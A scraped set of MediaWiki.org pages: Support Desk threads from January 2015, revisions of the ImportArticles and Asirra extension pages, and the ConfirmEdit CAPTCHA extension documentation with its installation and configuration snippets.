This leads me to believe that something has gone awry with Vector, because Monobook behaves as expected.

Does anybody know if there is a setting somewhere that tells Vector to bring users directly to the matching article? I have updated [[Manual:$wgVectorUseSimpleSearch|$wgVectorUseSimpleSearch]], with no results other than the cosmetic addition of "go" and "search". • [[User:Supasaru|Supāsaru]] 15:40, 29 January 2015 (UTC)

== Possible bug in DatabasePostgres.php ==

With this commit the new setting "standard_conforming_strings" was added: 
github.com/wikimedia/mediawiki/commit/71d5b68221002d71c88783acab7df267a4e04cec

Some of my users (MediaWiki 1.19, PHP 5.2.5, PostgreSQL 8.4.1) has not enough rights to change this setting: 
wiki-forum.de/installationsprobleme-der-version-1-19-0-t347486.htm

I suggest to check first if the necessary rights are available. If this is not possible (sorry I'm not a PostgrSQL user) there should be check at least a check if the setting is necessary. By PostgrSQL 9.1 the default is "ON". So there is not need to check. Lower versions could be checked through the following query:
SHOW standard_conforming_strings; [[User:Marc Gutt|Marc Gutt]] ([[User talk:Marc Gutt|talk]]) 17:49, 29 January 2015 (UTC)

== Editing MediaWiki namespace ==

Hi, I've just installed MediaWiki using Bitnami and I'd like to start designing my Wiki and customizing it to my liking but atm I can't because I can't edit the MediaWiki namespace. How do I gain this ability? My PC is secure in the sense I'm the only one that uses it and my net connection is private (I'm at home I'm not at a coffee shop or other public place) so I'm confident doing so won't cause me big problems.

{| class="wikitable"
|+ Software details
! Software
! Version
|-
| MySQL
| 5.5.40
|-
| PHP
| 5.4.35
|-
| MediaWiki
| 1.24.1
|-
| Operating system
| Windows 7 64 bit SP1
|} [[User:Fuse809|Fuse809]] ([[User talk:Fuse809|talk]]) 20:41, 29 January 2015 (UTC)

== $wgUser deprecated ==

Since $wgUser is deprecated, what is the new method for getting the user class? [[User:Cblair91|Cblair91]] ([[User talk:Cblair91|talk]]) 22:30, 29 January 2015 (UTC)

Thread:Project:Support desk/$wgUser deprecated

2015-01-29T22:30:56Z

Developaws: New thread: $wgUser deprecated

Since $wgUser is deprecated, what is the new method for getting the user class?

Extension:ImportArticles

2014-10-08T19:28:18Z

Developaws: Ahh misspelt license

{{TNT|Extension code in wiki}}
{{ {{TNTN|Extension}} |templatemode=
|name = ImportArticles
|status = stable
|type1 = ajax
|hook1 = BeforePageDisplay
|username = Cblair91
|description = Adds an ImportArticles used for JavaScript to import multiple CSS/JS pages at once.
|version = 1.0
|update = 2014-08-25
|mediawiki = All
|php = All
|download = See the page [[Extension:ImportArticles/code|containing the code]]
|needs-updatephp = No
|license = gpl v2 or later
}}
The '''ImportArticles''' extension adds a JavaScript that is loaded on the page, which allows the importation of multiple JS and CSS at once. This is usable in the MediaWiki namespace for the skin, or in the users namespace for their local modifications.

== Installation ==
{{ {{TNTN|ExtensionInstall}}
|download-link=[[Extension:ImportArticles/code|Copy the code into files]]
}}

[[Category:Simple extensions{{translation}}]]

Extension:ImportArticles

2014-10-08T19:27:37Z

Developaws: GPLv2+, correct license

{{TNT|Extension code in wiki}}
{{ {{TNTN|Extension}} |templatemode=
|name = ImportArticles
|status = stable
|type1 = ajax
|hook1 = BeforePageDisplay
|username = Cblair91
|description = Adds an ImportArticles used for JavaScript to import multiple CSS/JS pages at once.
|version = 1.0
|update = 2014-08-25
|mediawiki = All
|php = All
|download = See the page [[Extension:ImportArticles/code|containing the code]]
|needs-updatephp = No
|licence = gpl v2 or later
}}
The '''ImportArticles''' extension adds a JavaScript that is loaded on the page, which allows the importation of multiple JS and CSS at once. This is usable in the MediaWiki namespace for the skin, or in the users namespace for their local modifications.

== Installation ==
{{ {{TNTN|ExtensionInstall}}
|download-link=[[Extension:ImportArticles/code|Copy the code into files]]
}}

[[Category:Simple extensions{{translation}}]]

Template:ExtensionInstall

2014-10-04T17:40:38Z

Developaws: PHP standard coding uses () around require_once

{{#if: {{{vagrant|}}} |
* If using [[Special:MyLanguage/MediaWiki-Vagrant|Vagrant]], install with <code>vagrant enable-role {{{vagrant}}} && vagrant provision</code>
; Manual Installation
}}{{trim| {{{custom-steps0|}}} }}
* {{{download-link|[[Special:ExtensionDistributor/{{trim| {{{1|{{PAGENAME}}}}} }}|Download]]}}} and extract the file(s) in a directory called <code>{{trim| {{{1|{{PAGENAME}}}}} }}</code> in your <code>extensions/</code> folder.
* Add the following code at the bottom of your LocalSettings.php:
{{#tag:source|
require_once("$IP/extensions/{{trim| {{{1|{{PAGENAME}}}}} }}/{{trim| {{{1|{{PAGENAME}}}}} }}.php");
{{{localsettings|}}}
|lang="php"
|style="overflow:auto;"
}}{{#if: {{{db-update|}}} |
* Run the '''[[Special:MyLanguage/Manual:Update.php|update script]]''' which will automatically create the necessary database tables that this extension needs.}}{{trim| {{{custom-steps|}}} }}
* '''Done!''' Navigate to "Special:Version" on your wiki to verify that the extension is successfully installed.<noinclude>
{{TNT|documentation}}
</noinclude>

Extension:Asirra

2014-10-04T17:35:00Z

Developaws: Redundant notice as Asirra is now unsupported and thus extension is unmaintained in general.

{{mbox
| type = notice
| text = ''The Asirra service that this extension relies on is closing down as of October 6, 2014 [http://research.microsoft.com/en-us/um/redmond/projects/asirra/ per a notice on the project page]. Please consider using a [[:Category:Spam management extensions|different anti-spam extension]]. [[User:Alexia E. Smith|Alexia E. Smith]] ([[User talk:Alexia E. Smith|talk]]) 16:28, 2 October 2014 (UTC)
}}
{{Extension|templatemode=
|name = Asirra
|status = unmaintained
|type1 = page action
|hook1 = EditFilterMerged
|hook2 = EditFilter
|hook3 = UserCreateForm
|hook4 = AbortNewAccount
|hook5 = LoginAuthenticateAudit
|hook6 = UserLoginForm
|hook7 = AbortLogin
|hook8 = APIEditBeforeSave
|username = Bachsau
|description = Adds a kitten auth system for page saves and other user actions
|image = extension_confirmedit_asirra.png
|imagesize = 220px
|version = 0.8
|php = 5.x
|update = 03/28/2012
|license = Public Domain
|download = '''[http://files.bachsau.com/MediaWiki_Asirra.tar.gz From Bachsau IT]'''
|needs-updatephp = no
|parameters = $wgAsirraEnlargedPosition, $wgAsirraCellsPerRow, $wgAsirraScriptPath
|rights = skipcaptcha
|example = [http://test.bachsau.com/mediawiki/index.php?title=Asirra Test wiki]
|compatibility =
|pagedrive1 = true
}}
The '''Asirra''' extension provides a kitten auth system for protection against spambots and other automated tools. The [http://research.microsoft.com/en-us/um/redmond/projects/asirra/ Asirra service] itself is powered by Microsoft. Users have to distinguish between images of cats and images of dogs, a task which proves to be easy for humans but difficult for bots.

== See it in action! ==
You can live-test Asirra on the Test wiki at [http://test.bachsau.com/mediawiki/index.php?title=Asirra http://test.bachsau.com/mediawiki/]. Just edit the page, create accounts or whatever you want. It's just a test installation.

== Installation ==
# [http://files.bachsau.com/MediaWiki_Asirra.tar.gz Download the latest version]
# Extract the archive to <tt>$IP/extensions/</tt> directory
# Add to the end of [[Manual:LocalSettings.php|LocalSettings.php]]: <syntaxhighlight lang="php" enclose="div">require_once("$IP/extensions/Asirra/Asirra.php");</syntaxhighlight>
# Installation can now be verified through [[Special:Version]] on your wiki

== Configuration (optional) ==
* <tt>$wgAsirraEnlargedPosition</tt>: [str] Can be one of <tt>top</tt>, <tt>bottom</tt>, <tt>left</tt>, <tt>right</tt>. Defaults to <tt>bottom</tt>.
* <tt>$wgAsirraCellsPerRow</tt>: [int] Number of images per row. Defaults to <tt>6</tt>.
* <tt>$wgAsirraScriptPath</tt>: [str] If your extensions directory is outside the document root, or not accessible for any reason, you can set an alternative path to Asirra plugin's JavaScripts here.

For other configuration options and user rights, please refer to [[Extension:ConfirmEdit#Configuration]].

==Troubleshooting==
===Internal server error 500===
You must use the Asirra and ConfirmEdit modules from the ConfirmEdit package directory. This was tested on MediaWiki 1.20.2. See note on the [[Extension talk:Asirra|talk page]] for further information.

==="Incorrect or missing confirmation code" even when users correctly identify the cats===
This means that you probably have $wgCaptchaClass set in LocalSettings.php.

===It doesn't recognize that the cats have been correctly identified, even when they have===
There is probably a problem with your paths. Use <code>extension/Asirra</code>.

== Changelog ==
* 0.3: Fixed a bug that kept users from registering new accounts
* 0.4: Major improvements to JavaScript
* 0.5: Fixed "Undefined property" notice in Asirra.class.php on line 30
* 0.6: Fixed a bug which resulted in incorrect JavaScript paths on certain web servers. Added a configuration option to override this path.
* 0.7: Raised Connection_Timeout to thirty seconds. This often caused errors because of the Microsoft server being too slow. Upgraded ConfirmEdit components to 1.18.x
* 0.8: Asirra now uses its own directory, as it's a standalone extension. No code changes, no need to update.

== Known bugs ==
* Currently none

[[Category:Edit extensions]]
[[Category:Spam management extensions]]

Extension:Asirra

2014-10-04T17:33:13Z

Developaws: Third person view, added link to talk page, grammar fixes.

{{mbox
| type = notice
| text = ''The Asirra service that this extension relies on is closing down as of October 6, 2014 [http://research.microsoft.com/en-us/um/redmond/projects/asirra/ per a notice on the project page]. Please consider using a [[:Category:Spam management extensions|different anti-spam extension]]. [[User:Alexia E. Smith|Alexia E. Smith]] ([[User talk:Alexia E. Smith|talk]]) 16:28, 2 October 2014 (UTC)
}}
{{mbox
| type = notice
| text = ''This extension has been integrated into the latest trunk version of the [[Extension:ConfirmEdit|ConfirmEdit]] extension; However, I'm '''not''' going to support this fork as part of ConfirmEdit, until I release a final version of Asirra. Support and bug reports go on the Discussion tab only if you download Asirra from ''this'' page.'' {{unsigned|Bachsau}}
}}
{{Extension|templatemode=
|name = Asirra
|status = unmaintained
|type1 = page action
|hook1 = EditFilterMerged
|hook2 = EditFilter
|hook3 = UserCreateForm
|hook4 = AbortNewAccount
|hook5 = LoginAuthenticateAudit
|hook6 = UserLoginForm
|hook7 = AbortLogin
|hook8 = APIEditBeforeSave
|username = Bachsau
|description = Adds a kitten auth system for page saves and other user actions
|image = extension_confirmedit_asirra.png
|imagesize = 220px
|version = 0.8
|php = 5.x
|update = 03/28/2012
|license = Public Domain
|download = '''[http://files.bachsau.com/MediaWiki_Asirra.tar.gz From Bachsau IT]'''
|needs-updatephp = no
|parameters = $wgAsirraEnlargedPosition, $wgAsirraCellsPerRow, $wgAsirraScriptPath
|rights = skipcaptcha
|example = [http://test.bachsau.com/mediawiki/index.php?title=Asirra Test wiki]
|compatibility =
|pagedrive1 = true
}}
The '''Asirra''' extension provides a kitten auth system for protection against spambots and other automated tools. The [http://research.microsoft.com/en-us/um/redmond/projects/asirra/ Asirra service] itself is powered by Microsoft. Users have to distinguish between images of cats and images of dogs, a task which proves to be easy for humans but difficult for bots.

== See it in action! ==
You can live-test Asirra on the Test wiki at [http://test.bachsau.com/mediawiki/index.php?title=Asirra http://test.bachsau.com/mediawiki/]. Just edit the page, create accounts or whatever you want. It's just a test installation.

== Installation ==
# [http://files.bachsau.com/MediaWiki_Asirra.tar.gz Download the latest version]
# Extract the archive to <tt>$IP/extensions/</tt> directory
# Add to the end of [[Manual:LocalSettings.php|LocalSettings.php]]: <syntaxhighlight lang="php" enclose="div">require_once("$IP/extensions/Asirra/Asirra.php");</syntaxhighlight>
# Installation can now be verified through [[Special:Version]] on your wiki

== Configuration (optional) ==
* <tt>$wgAsirraEnlargedPosition</tt>: [str] Can be one of <tt>top</tt>, <tt>bottom</tt>, <tt>left</tt>, <tt>right</tt>. Defaults to <tt>bottom</tt>.
* <tt>$wgAsirraCellsPerRow</tt>: [int] Number of images per row. Defaults to <tt>6</tt>.
* <tt>$wgAsirraScriptPath</tt>: [str] If your extensions directory is outside the document root, or not accessible for any reason, you can set an alternative path to Asirra plugin's JavaScripts here.

For other configuration options and user rights, please refer to [[Extension:ConfirmEdit#Configuration]].

==Troubleshooting==
===Internal server error 500===
You must use the Asirra and ConfirmEdit modules from the ConfirmEdit package directory. This was tested on MediaWiki 1.20.2. See note on the [[Extension talk:Asirra|talk page]] for further information.

==="Incorrect or missing confirmation code" even when users correctly identify the cats===
This means that you probably have $wgCaptchaClass set in LocalSettings.php.

===It doesn't recognize that the cats have been correctly identified, even when they have===
There is probably a problem with your paths. Use <code>extension/Asirra</code>.

== Changelog ==
* 0.3: Fixed a bug that kept users from registering new accounts
* 0.4: Major improvements to JavaScript
* 0.5: Fixed "Undefined property" notice in Asirra.class.php on line 30
* 0.6: Fixed a bug which resulted in incorrect JavaScript paths on certain web servers. Added a configuration option to override this path.
* 0.7: Raised Connection_Timeout to thirty seconds. This often caused errors because of the Microsoft server being too slow. Upgraded ConfirmEdit components to 1.18.x
* 0.8: Asirra now uses its own directory, as it's a standalone extension. No code changes, no need to update.

== Known bugs ==
* Currently none

[[Category:Edit extensions]]
[[Category:Spam management extensions]]

Extension:ConfirmEdit

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{{note|1=This extension is [[Special:MyLanguage/MediaWiki 1.18#Bundled extensions|bundled with MediaWiki 1.18]] and above. Thus you do not have to download it again.}}
{{ {{TNTN|Extension}}
|name = ConfirmEdit
|type = page action
|author = [[User:Brion VIBBER|Brion Vibber]] and others
|image =
|version = 1.3
|status = stable
|update = 2014-03-26
|mediawiki = 1.20+
|php = 5.3+
|license = GPL
|download = {{ {{TNTN|WikimediaDownload}} |ConfirmEdit}}
|readme =
|changelog =
|hook1 = EditFilterMerged
|hook2 = UserCreateForm
|hook3 = AbortNewAccount
|hook4 = LoginAuthenticateAudit
|hook5 = UserLoginForm
|hook6 = AbortLogin
|hook7 = EmailUserForm
|hook8 = EmailUser
|hook9 = APIEditBeforeSave
|hook10 = APIGetAllowedParams
|hook11 = APIGetParamDescription
|description = Adds CAPTCHAs for page saves and other user actions
|parameters= * $wgCaptchaClass
* $wgCaptchaWhitelistIP
* $wgCaptcha
* $wgCaptchaTriggers
* $wgCaptchaTriggersOnNamespace
* $wgCaptchaStorageClass
* $wgCaptchaSessionExpiration
* $wgCaptchaBadLoginExpiration
* $ceAllowConfirmedEmail
* $wgCaptchaBadLoginAttempts
* $wgCaptchaWhitelist
* $wgCaptchaRegexes
* $wgCaptchaQuestions
* $wgReCaptchaPublicKey
* $wgReCaptchaPrivateKey
|rights = skipcaptcha
|example = [http://img99.imageshack.us/img99/295/confirmeditbj4.jpg One screenshot of ConfirmEdit running on Wikimanga.net]
|pagedrive1 = true
|bugzilla = ConfirmEdit (CAPTCHA extension)
|needs-updatephp = No
|WikiApiary rating= 3
}}

The '''ConfirmEdit''' extension lets you use various different [[w:CAPTCHA|CAPTCHA]] techniques, to try to prevent [[w:spambot|spambots]] and other automated tools from editing your wiki, as well as to foil automated login attempts that try to guess passwords.

ConfirmEdit ships with several techniques/modules to generate captcha.

{| class="wikitable"
|-
! Module !! Description !! Effectiveness at stopping spam
|-
| <tt>[[Special:Mylanguage/Extension:QuestyCaptcha|QuestyCaptcha]]</tt> || Users have to answer a question, out of a series of questions defined by the administrator(s). || Very high, until cracked
|-
| <tt>[[Special:Mylanguage/Extension:Asirra|Asirra]]</tt> || <del>Users have to identify the cats in a set of photos of cats and dogs, from a widget provided by the [http://research.microsoft.com/en-us/um/redmond/projects/asirra/ Asirra] service.</del> DISCONTINUED || High
|-
| <tt>ReCaptcha</tt> || Users have to identify a series of characters, either visually or audially, from a widget provided by the [http://www.google.com/recaptcha reCAPTCHA] service. || Medium
|-
| <tt>Are You A Human</tt> || Users are presented with a small JavaScript-based puzzle that they must complete, usually of the form of matching appropriate objects. || High
|-
| <tt>SimpleCaptcha</tt> || Users have to solve a '''simple''' math problem. || Low
|-
| <tt>FancyCaptcha</tt> || Users have to identify a series of characters, displayed in a stylized way. || Low
|-
| <tt>MathCaptcha</tt> || Users have to solve a math problem that's displayed as an image. || Low
|}

Some of these modules require additional setup work:
* MathCaptcha requires both the presence of TeX and, for versions of MediaWiki after 1.17, the [[Extension:Math|Math]] extension;
* FancyCaptcha requires running a preliminary setup script in Python;
* and reCAPTCHA requires obtaining API keys.

Caveats: CAPTCHAs reduce accessibility and cause inconvenience to human users. In addition, they are not 100% effective against bots, and they will not protect your wiki from spammers who are willing and able to use human labor to get through the CAPTCHAs. You may wish to use ConfirmEdit in conjunction with other [[Special:Mylanguage/Manual:combating spam|anti-spam features]]. Regardless of the solution you use, if you have a publicly-editable wiki it's important to keep monitoring the "Recent changes" page.

==Installation==
{{ {{TNTN|ExtensionInstall}}
|repo-name=ConfirmEdit
|custom-steps=* [[#CAPTCHA types|Enable the CAPTCHA type]] which should be used
* [[#Configuration|Configure]] as needed
}}
{{Note}} ConfirmEdit may not work if used with a MediaWiki version different from the one specified when downloading via the "Extension distributor".

==CAPTCHA types==
There are numerous different CAPTCHA types included with ConfirmEdit.

===QuestyCaptcha===
This module presents a question and the user supplies the answer. You provide the questions in the configuration. This module has proven to offer a strong mechanism against spam bots; it also should have the advantage of a better [[accessibility]], as textual questions can be read by text-to-speech software allowing visually impaired users (but not bots) to answer correctly.

Add the following to LocalSettings.php to enable this CAPTCHA, editing the Q&A:
<source lang="php">
require_once "$IP/extensions/ConfirmEdit/QuestyCaptcha.php";
$wgCaptchaClass = 'QuestyCaptcha';
$arr = array (
"A question?" => "An answer!",
"What is this wiki's name?" => "$wgSitename",
'Please write the magic secret, "passion", here:' => 'passion',
'Type the code word, 567, here:' => '567',
'Which animal? <img src="http://www.example.com/path/to/filename_not_including_dog.jpg" alt="" title="" />' => 'dog',
);
foreach ( $arr as $key => $value ) {
$wgCaptchaQuestions[] = array( 'question' => $key, 'answer' => $value );
}
</source>

It will randomly choose a question from those supplied. The minimum is one.
*The answer must be easy to guess for a human interested in your wiki, but not by an automatic program. Ideally, it should not be contained in the text of the question; you can try and edit the captcha help messages<ref>MediaWiki:Questycaptchahelp-text, MediaWiki:Questycaptcha-edit, MediaWiki:Questycaptcha-addurl, MediaWiki:Questycaptcha-create and MediaWiki:Questycaptcha-createaccount.</ref> and provide the solution to the captcha response there.
*Just change the questions when/if they start proving ineffective; this may never happen if your wiki is not specifically targeted.
*Don't ever reuse questions already used by you or others in the past: spambots are known to remember a question and its answer forever once they broke it.
*You can get even smarter, with questions like «What is the output of "date -u +%V`uname`|sha256sum|sed 's/\W//g'"?».
*And other '''[http://thingelstad.com/stopping-mediawiki-spam-with-dynamic-questy-captchas/ dynamic questy captchas]'''.

===Asirra===
{{warning|[http://research.microsoft.com/en-us/um/redmond/projects/asirra/ Discontinued].}}
[[Image:Extension confirmedit asirra.png|220px|right]]
This module displays the [http://research.microsoft.com/en-us/um/redmond/projects/asirra/ Asirra] (Animal Species Image Recognition for Restricting Access) widget, created by Microsoft Research. The widget shows 12 random images from the [http://petfinder.com/ Petfinder] pet-adoption website, all of which are of either a cat or a dog, and asks the user to select only the images of cats.

Image recognition is an inherently more difficult task for computers than character recognition; and the use of Petfinder's massive, and ever-changing, database of millions of images makes it seemingly impossible for spammers to attempt to beat the system via some shortcut. It should be noted, though, that [http://crypto.stanford.edu/~pgolle/papers/dogcat.html some research exists] showing that image-recognition software can beat Asirra at least 10% of the time. Still, Asirra may possibly be the most secure of the modules within ConfirmEdit.

*'''Note:''' in order to use Asirra, you will need to download the latest/trunk version of ConfirmEdit.

*'''Note:''' Currently reported to not work with all browsers (especially IE 8 and 9) even if using the latest/trunk version.

Add the following to LocalSettings.php to enable this CAPTCHA:
<source lang="php">
require_once "$IP/extensions/ConfirmEdit/Asirra.php";
</source>

In addition, you can add any of the following configuration parameters:
* <tt>$wgAsirraEnlargedPosition</tt>: Can be one of <tt>top</tt>, <tt>bottom</tt>, <tt>left</tt>, <tt>right</tt>. Defaults to <tt>bottom</tt>.
* <tt>$wgAsirraCellsPerRow</tt>: Number of images per row. Defaults to <tt>6</tt>.
* <tt>$wgAsirraScriptPath</tt>: If your extensions directory is outside the document root, or not accessible for any reason, you can set an alternative path to this module's JavaScript scripts here.

Some sysadmins have reported that present versions of Asirra will fail to allow the user to pass the CAPTCHA, even if he selects all kittens correctly, unless you download the [[Extension:Asirra]] and use <code>extensions/Asirra</code> as the path instead of <code>extensions/ConfirmEdit/Asirra/</code>.

===ReCaptcha===
[[File:Captcha for Extension ConfirmEdit.jpg|right|thumb|300px|Example screenshot of ReCaptcha]]
This module uses the "reCAPTCHA" widget/service. In addition to providing a CAPTCHA, it performs a valuable service because it helps to digitize old books ([http://www.google.com/recaptcha/learnmore read more here].)

To use this module, first go [https://www.google.com/recaptcha/admin/create here] and obtain a public and private key for your wiki.

Add the following to LocalSettings.php, below the inclusion of ConfirmEdit:
<source lang="php">
require_once "$IP/extensions/ConfirmEdit/ReCaptcha.php";
$wgCaptchaClass = 'ReCaptcha';
$wgReCaptchaPublicKey = 'your public key here';
$wgReCaptchaPrivateKey = 'your private key here';
</source>

* Recaptcha is only in the latest 1.18 version of ConfirmEdit. Earlier versions do not have the reCAPTCHA PHP files.
* Unfortunately, as of 2011, some spammers appear to have figured out a way to bypass it, either through character recognition or by using humans. For that reason, it is not necessarily recommended.
* Part of the weakness of the ReCaptcha module is that ConfirmEdit doesn't include any penalty mechanism, so spam bots can simply keep trying to bypass the CAPTCHA until they get through. This is an issue that is strongly worth addressing in some way.
* Regardless of its strengths or weaknesses, reCAPTCHA can't be implemented on Wikimedia wikis because it produces a third-party dependency.

=== Are You A Human (aka PlayThru) ===

'''NB: Not yet merged into ConfirmEdit, pending code review; applying the patch is your own decision. → https://gerrit.wikimedia.org/r/#/c/65797/'''

{{note|The actual CAPTCHA is proprietary like Asirra and ReCaptcha and English only, but unlike them requires (gratis) keys and may embed ads, specifically "branded games".[http://areyouahuman.com/faq/]}}

This module uses the [http://areyouahuman.com/ Are You A Human?] service ([https://portal.areyouahuman.com/Php_Demo/ayah_php_lb_bundle/page_access.php demo]), which is an alternative to distorted text-based CAPTCHAs. Like Asirra, it presents a small JavaScript-based puzzle that the user must complete, usually of the form of matching appropriate objects. It includes audio support for the visually impaired.

To use this module:

# Go [http://portal.areyouahuman.com/signup here] and obtain Publisher and Scoring keys for your domain and wiki.
#* When given the choice, select "embedded" style, rather than the default LightBox style. LightBox may work, but it hasn't been tested.
#* Enter the domain ''precisely'' how it appears in $wgServer, but without the protocol. For example: if your wiki is <tt><nowiki>http://www.mywiki.com</nowiki></tt>, use <tt>www.mywiki.com</tt>. Entering <tt>mywiki.com</tt> will not work.
#* MediaWiki is not listed as one of the officially supported platforms, so choose PHP instead.
# Download the [http://portal.areyouahuman.com/installation/php AYAH PHP integration library] when given the option.
# Unpack the PHP integration library and put <tt>ayah.php</tt> and <tt>ayah_config.php</tt> into <code>$IP/extensions/ConfirmEdit/AreYouAHuman/</code>.
# Edit <tt>ayah_config.php</tt> with your API keys
# Add the following to LocalSettings.php:
<source lang="php">
require_once "$IP/extensions/ConfirmEdit/AyahCaptcha.php";
$wgCaptchaClass = 'AyahCaptcha';
</source>

=== Not recommended ===
{{ {{TNTN|Warning}} |The following types are used by very few wikis outside WMF if any, probably because of scarce effectiveness.}}

====SimpleCaptcha (calculation)====
[[File:SimleCaptcha screenshot.png|thumb|350px|right|a simple math question.]]
This is the default CAPTCHA. This module provides a simple addition or subtraction question for the user.

Add the following lines to LocalSettings.php in the root of your MediaWiki to enable this CAPTCHA:
<source lang="php">
$wgCaptchaClass = 'SimpleCaptcha';
</source>

Note that the display of a trivial maths problem as plaintext yields a captcha which can be trivially solved by automated means; as of 2012, sites using SimpleCaptcha are receiving significant amounts of spam and many automated registrations of spurious new accounts. Wikis currently using this default setting should therefore migrate to [[Extension:VisualMathCaptcha|VisualMathCaptcha]] or one of the other CAPTCHAs.

====FancyCaptcha====
[[File:FancyCaptcha screenshot.png|thumb]]
This module displays a stylized image of a set of characters. The [http://www.pythonware.com/products/pil/ Python Imaging Library] must be installed in order to create the set of images initially, but isn't needed after that (can be installed with <code>pip install pil</code> in most environments).

# Add the following lines to <tt>LocalSettings.php</tt> in the root of your MediaWiki installation:
#: <code>require_once "$IP/extensions/ConfirmEdit/ConfirmEdit.php"; require_once "$IP/extensions/ConfirmEdit/FancyCaptcha.php"; $wgCaptchaClass = 'FancyCaptcha';</code>
# In LocalSettings.php, set the variable <tt>$wgCaptchaDirectory</tt> to the directory where you will store Captcha images. Below it set <tt>$wgCaptchaSecret</tt> to your passphrase.
# Create the images by running the following, where:
#* '''font''' is a path to some font, for instance AriBlk.TTF.
#* '''wordlist''' is a path to some word list, for instance /usr/share/dict/words. (Note: on Debian/Ubuntu, the 'wbritish' and 'wamerican' packages provide such lists. On Fedora, use the 'words' package).
#* '''key''' is the the exact passphrase you set <tt>$wgCaptchaSecret</tt> to. Use quotes if necessary.
#* '''output''' is the path to where the images should be stored (defined in <tt>$wgCaptchaDirectory</tt>).
#* '''count''' is how many images to generate.
#: <code><nowiki>python /path/to/captcha.py --font= --wordlist=<wordlist> --key=<key> --output=<output> --count=<count></nowiki></code>
#* An example, assuming you're in the extensions/ConfirmEdit directory (font location from Ubuntu 6.06, probably different on other operating systems):
#: <code>python captcha.py --font=/usr/share/fonts/truetype/freefont/FreeSans.ttf --wordlist=/usr/share/dict/words --key=FOO --output=../../../captcha --count=100</code>
#* If you are not satisfied with the results of the words you've generated you can simply remove the images and create a new set. Comic_Sans_MS_Bold.ttf seems to generate relatively legible words, and you could also edit the last line of captcha.py to increase the font size from the default of 40.
# Put the images you get into captcha directory in your installation
# Edit your wiki's [[Manual:LocalSettings.php|LocalSettings.php]]: specify full path to your captcha directory in $wgCaptchaDirectory and secret key you've been using while generating captures in $wgCaptchaSecret
<source lang="php">
$wgCaptchaDirectory = "/.php-data/my-wiki.org/wiki/captcha";
$wgCaptchaDirectoryLevels = 0; // Set this to a value greater than zero to break the images into subdirectories
$wgCaptchaSecret = "FOO"; // same value you used in --key option in captcha.py
</source>

See also [[wikitech:Generating CAPTCHAs]] for how Wikimedia Foundation does it.

===== How to avoid common problems running Python =====
# Install the most recent version of [http://www.pythonware.com/products/pil/ Python Imaging Library (PIL)].
# Make the installation of Python on a short folder name. Like '''C:\Python\'''
# Create a folder like '''C:\Ex''' and place files '''CAPTCHA.py / FONT.ttf / LIST.txt''' into the folder.
# To execute easily, run the following example as a [[w:en:Batch_file#Example|batch]] file:
<pre>
C:\python\python.exe C:\Ex\CAPTCHA.py --font C:\Ex\FONT.ttf --wordlist C:\Ex\LIST.txt --key=YOURPASSWORD --output C:\Ex\ --count=20
</pre>

====MathCaptcha====
:'''This requires the [[Extension:Math|Math extension]] to be installed. Until MediaWiki 1.18 this was part of MediaWiki, later versions need to install it manually. See also [[Extension:Math]]'''
This module generates an image using TeX to ask a basic math question.

Set the following to enable this CAPTCHA:
<source lang="php">
require_once "$IP/extensions/ConfirmEdit/MathCaptcha.php";
$wgCaptchaClass = 'MathCaptcha';
</source>

See the readme file in the math folder to install this captcha.

==Outside extensions==
===VisualMathCaptcha===
The extension [[Extension:VisualMathCaptcha|VisualMathCaptcha]] can also be used, in conjunction with ConfirmEdit. See that extension's documentation for how to install and configure it.

==Configuration==
ConfirmEdit introduces a 'skipcaptcha' permission type to [[Manual:$wgGroupPermissions|wgGroupPermissions]]. This lets you set certain groups to never see CAPTCHAs. All of the following can be added to localsettings.php.

Defaults from ConfirmEdit.php:
<source lang="php">
$wgGroupPermissions['*' ]['skipcaptcha'] = false;
$wgGroupPermissions['user' ]['skipcaptcha'] = false;
$wgGroupPermissions['autoconfirmed']['skipcaptcha'] = false;
$wgGroupPermissions['bot' ]['skipcaptcha'] = true; // registered bots
$wgGroupPermissions['sysop' ]['skipcaptcha'] = true;
</source>

To skip captchas for users that confirmed their email, you need to both set:
<source lang="php">
$wgGroupPermissions['emailconfirmed']['skipcaptcha'] = true;
$ceAllowConfirmedEmail = true;</source>

There are five "triggers" on which CAPTCHAs can be displayed:
* 'edit' - triggered on every attempted page save
* 'create' - triggered on page creation
* 'addurl' - triggered on a page save that would add one or more URLs to the page
* 'createaccount' - triggered on creation of a new account
* 'badlogin' - triggered on the next login attempt after a failed one. Requires $wgMainCacheType to be set to something other than <tt>CACHE_NONE</tt> in your <tt>LocalSettings.php</tt>, if in doubt the following will always work
<syntaxhighlight lang="php">$wgMainCacheType = CACHE_ANYTHING;</syntaxhighlight>

The default values for these are:
<source lang="php">
$wgCaptchaTriggers['edit'] = false;
$wgCaptchaTriggers['create'] = false;
$wgCaptchaTriggers['addurl'] = true;
$wgCaptchaTriggers['createaccount'] = true;
$wgCaptchaTriggers['badlogin'] = true;
</source>

The triggers <code>edit</code>, <code>create</code> and <code>addurl</code> can be configured per namespace using the <code>$wgCaptchaTriggersOnNamespace</code> setting. If there is no <code>$wgCaptchaTriggersOnNamespace</code> for the current namespace, the normal <code>$wgCaptchaTriggers</code> apply. So suppose that in addition to the above <code>$wgCaptchaTriggers</code> defaults we configure the following:
<source lang="php">
$wgCaptchaTriggersOnNamespace[NS_TALK]['addurl'] = false;
$wgCaptchaTriggersOnNamespace[NS_PROJECT]['edit'] = true;
</source>

Then the CAPTCHA will not trigger when adding URLs to a talk page, but on the other hand user will need to solve a CAPTCHA any time they try to edit a page in the project namespace, even if they aren't adding a link.

=== URL and IP whitelists ===
It is possible to define a whitelist of known "good" sites for which the CAPTCHA should not kick in, when the 'addurl' action is triggered.

Sysop users can do this by editing the system message page called <nowiki>[[MediaWiki:Captcha-addurl-whitelist]]</nowiki>. The expected format is a set of regex's one per line. Comments can be added with # prefix. You can see an example of this usage [http://wiki.openstreetmap.org/index.php/MediaWiki:Captcha-addurl-whitelist on OpenStreetMap].

This set of whitelist regexes can also be defined using the $wgCaptchaWhitelist config variable in LocalSettings.php, to keep the value(s) a secret.

Some other variables you can add to LocalSettings.php:
* $wgCaptchaWhitelistIP - List of IP ranges to allow to skip the CAPTCHA
* $ceAllowConfirmedEmail - Allow users who have confirmed their e-mail addresses to post URL links
These are described more thoroughly in the code comments

=== Regular expressions ===
The global variable wgCaptchaRegexes accepts an array of regexes to be tested against the page text and will trigger the CAPTCHA in case of a match.

=== Wikimedia projects ===

For example, [[Wikimedia Foundation]] wikis use FancyCaptcha with a custom set of images and the default configuration, modified by what follows.

<syntaxhighlight lang="php">
$wgGroupPermissions['autoconfirmed']['skipcaptcha'] = true;
</syntaxhighlight>

